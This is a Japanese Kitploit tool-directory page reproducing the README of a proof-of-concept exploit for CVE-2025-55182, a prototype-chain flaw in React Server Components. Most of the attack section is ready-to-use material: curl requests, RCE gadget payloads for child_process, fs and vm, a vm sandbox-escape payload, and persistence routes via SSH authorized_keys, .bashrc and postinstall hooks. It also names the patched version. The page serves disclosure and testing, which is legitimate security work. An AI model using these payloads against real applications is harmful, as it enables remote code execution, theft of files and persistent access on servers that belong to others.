Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182-poc | Kitploit
ツール/GitHubGitHub/ducducuc111/cve-2025-55182-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ペイロード開発
GitHubducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

リポジトリを見る
8ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React Server Components プロトタイプチェーン脆弱性

このPOCは、実際の脆弱なコード [email protected] を用いて CVE-2025-55182 を実証します。

クイックスタート

root@kitploit:~
# 依存関係をインストール
npm install

# 脆弱なサーバーを起動(ポート3002)
npm start

# RCEエクスプロイトを実行
npm run exploit

期待される出力

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPMスクリプト

root@kitploit:~
# サーバー
npm start              # メインサーバーを起動(server-realistic.js、ポート3002)
npm run start:legacy   # レガシーサーバーを起動(server.js、ポート3002)

# エクスプロイト
npm run exploit            # RCEデモ(vmを使用。vm、child_process、fsのいずれでも動作)
npm run exploit:all        # すべてのガジェットをテスト
npm run exploit:persistence # 永続化攻撃(fsのみ)

個別ガジェットのテスト

root@kitploit:~
# 先にサーバーを起動
npm start

# fs読み取りのテスト
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# コマンド実行のテスト
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# vmコード実行のテスト
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# プロトタイプチェーンアクセスのテスト
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

主要ファイル

サーバー

ファイルポート説明
src/server-realistic.js3002メインサーバー - 一般的なモジュール(fs、vm、child_process)を含むwebpackバンドルをシミュレート
src/server.js3002レガシーサーバー(直接requireを使用)

エクスプロイトスクリプト

ファイル説明
exploit-rce-v4.jsvm#runInThisContext によるプライマリRCE
exploit-all-gadgets.jsすべてのRCEガジェットをテスト(vm、child_process、fs)
exploit-persistence.js永続化攻撃(SSHキー、.bashrc)

server-realistic.js の仕組み

実際のwebpackバンドルをシミュレートします。アプリは依存関係を通じて危険なモジュールをバンドルすることが一般的です:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

__webpack_require__ 関数は BUNDLED_MODULES からのみモジュールをロードし、実際のwebpackの動作をシミュレートします。

脆弱性

根本原因

requireModule() 内で、エクスポートは hasOwnProperty チェックなしでブラケット記法によりアクセスされます:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

攻撃ベクトル

  1. バインドされたアクションメタデータを含む $ACTION_REF_0 を送信
  2. id: 'vm#runInThisContext' が vm モジュールをロードし、runInThisContext エクスポートへアクセス
  3. bound 配列が関数の引数になる
  4. アクションが呼び出されると: runInThisContext(CODE) が任意のコードを実行

検証済みの全RCEガジェット

ガジェットペイロードの例

シェルコマンドを実行(whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

機密ファイルを読み取り:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

ファイルをディスクに書き込み:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

任意のJavaScriptを実行:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

サンドボックス脱出(vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

代替攻撃経路

vm または child_process は必要か?

直接RCEの場合: はい、次のいずれかが必要です:

  • vm モジュール(runInThisContext、runInNewContext)
  • child_process モジュール(execSync、execFileSync、spawnSync)

間接RCEの場合(fsのみ): いいえ! fs だけで以下のことが可能です:

  • ~/.ssh/authorized_keys に書き込み → SSHアクセス
  • ~/.bashrc に追記 → 次回ログイン時にコード実行
  • node_modules/* を上書き → アプリ再起動時にRCE
  • package.json のpostinstallを変更 → 次回のnpm installでRCE

比較結果

バージョン攻撃結果
React 19.0.0vm#runInThisContext✓ RCE達成
React 19.2.1vm#runInThisContext✗ ブロック

パッチ適用済みバージョンのテスト

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

脆弱なnpmパッケージ

危険なモジュールを含む人気npmパッケージの調査については VULNERABLE-PACKAGES.md を参照:

モジュール週間ダウンロード数人気パッケージ
fs145M+fs-extra, gray-matter, multer, sharp

影響を受けるバージョン

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

修正済みバージョン

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
ツールをダウンロード
ガジェットステータス説明
vm#runInThisContext✓現在のコンテキストで任意のJSを実行
vm#runInNewContext✓「サンドボックス」で実行(簡単に脱出可能)
child_process#execSync✓シェルコマンドを直接実行
child_process#execFileSync✓バイナリファイルを実行
child_process#spawnSync✓プロセスを起動(オブジェクトを返す)
fs#readFileSync✓任意のファイルを読み取り
fs#writeFileSync✓任意のファイルを書き込み
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2